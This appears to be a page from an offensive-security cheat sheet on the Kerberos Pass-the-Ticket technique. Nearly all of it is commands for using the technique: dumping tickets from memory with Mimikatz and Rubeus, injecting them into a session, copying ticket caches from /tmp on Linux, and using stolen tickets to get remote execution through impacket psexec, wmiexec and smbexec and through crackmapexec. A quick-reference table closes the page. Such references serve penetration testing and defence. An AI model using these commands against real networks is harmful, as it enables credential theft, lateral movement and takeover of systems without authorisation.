> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Pass-the-Ticket

> Pass-the-Ticket: reuse Kerberos tickets (.kirbi/.ccache) for lateral movement and privilege escalation.

## Overview

Inject stolen Kerberos ticket (TGT or TGS) into session. No password or hash needed — just the ticket.

***

## Export Tickets — Mimikatz

```cmd theme={"dark"}
mimikatz # sekurlsa::tickets /export
```

Creates `.kirbi` files in current directory.

***

## Export Tickets — Rubeus

```powershell theme={"dark"}
.\Rubeus.exe dump
.\Rubeus.exe dump /luid:0x3e4 /nowrap
.\Rubeus.exe triage                             # List tickets
```

***

## Inject Ticket — Mimikatz

```cmd theme={"dark"}
mimikatz # kerberos::ptt ticket.kirbi
```

Verify:

```cmd theme={"dark"}
klist
```

***

## Inject Ticket — Rubeus

```powershell theme={"dark"}
.\Rubeus.exe ptt /ticket:BASE64_TICKET
.\Rubeus.exe ptt /ticket:ticket.kirbi
```

***

## Linux — .ccache Files

### Convert .kirbi to .ccache

```bash theme={"dark"}
impacket-ticketConverter ticket.kirbi ticket.ccache
```

### Convert .ccache to .kirbi

```bash theme={"dark"}
impacket-ticketConverter ticket.ccache ticket.kirbi
```

### Use .ccache

```bash theme={"dark"}
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec DOMAIN/user@TARGET -k -no-pass
impacket-wmiexec DOMAIN/user@TARGET -k -no-pass
impacket-smbexec DOMAIN/user@TARGET -k -no-pass
```

***

## Steal Tickets from Linux

```bash theme={"dark"}
ls /tmp/krb5cc_*                     # Default ticket location
cp /tmp/krb5cc_1000 /tmp/stolen.ccache
export KRB5CCNAME=/tmp/stolen.ccache
```

***

## CrackMapExec with Ticket

Use `--use-kcache` to authenticate from the `KRB5CCNAME` ccache (the `-k` flag uses Kerberos with *supplied* credentials and needs `-p`/`-H`/`--aesKey`). `--use-kcache` also reads the user from the ticket, so `-u` is unnecessary.

```bash theme={"dark"}
export KRB5CCNAME=ticket.ccache
crackmapexec smb TARGET --use-kcache
```

***

## Quick Reference

| Task         | Command                                           |
| ------------ | ------------------------------------------------- |
| Export       | `mimikatz # sekurlsa::tickets /export`            |
| Inject (Win) | `mimikatz # kerberos::ptt ticket.kirbi`           |
| Convert      | `impacket-ticketConverter file.kirbi file.ccache` |
| Use (Linux)  | `export KRB5CCNAME=file.ccache` → `-k -no-pass`   |
| Verify       | `klist`                                           |